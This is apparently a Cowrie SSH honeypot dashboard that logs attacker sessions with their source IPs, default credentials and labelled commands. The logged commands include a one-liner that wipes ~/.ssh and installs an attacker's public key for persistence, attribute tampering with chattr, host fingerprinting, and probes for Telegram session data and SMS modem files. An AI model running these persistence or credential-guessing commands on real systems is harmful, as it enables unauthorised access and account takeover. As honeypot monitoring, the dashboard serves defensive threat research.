$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ baroque_dragon_root (58.222.244.226) โ€” Nanjing, China ยท 1 session ยท 2 cmds
2026-06-25 16:49 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wired_kimchi_root (175.214.123.177) โ€” Seoul, South Korea ยท 1 session ยท 9 cmds
2026-06-25 13:36 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ murky_lantern_root_110 (49.84.226.110) โ€” Nanjing, China ยท 1 session ยท 1 cmd
2026-06-25 12:31 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ drowsy_spice_root (92.4.76.12) โ€” Mumbai, India ยท 1 session ยท 9 cmds
2026-06-25 02:09 EDT ยท as root/root
/root/root login โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps | grep '[Mm]iner' โ†’ ps -ef | grep '[Mm]iner' โ†’ locate D877F783D5D3EF8Cs โ†’ ls -la ~/.local/share/TelegramDesktop/tdata โ†’ echo Hi | cat -n
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ cryptic_panda_root (120.48.155.60) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-06-24 18:23 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ obsidian_bike_root (176.65.139.251) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-06-24 14:15 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ aloof_orchid_pi (43.160.249.143) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-06-24 11:38 EDT ยท as pi/raspberry
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ weary_dragon_root_168 (117.34.85.168) โ€” Liuxiang, China ยท 1 session ยท 2 cmds
2026-06-24 05:50 EDT ยท as oracle/oracle1234!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
HONEYPOT DASHBOARD v1.0 // Data from Cowrie SSH Honeypot // 2026-08-23 05:14:56 EDT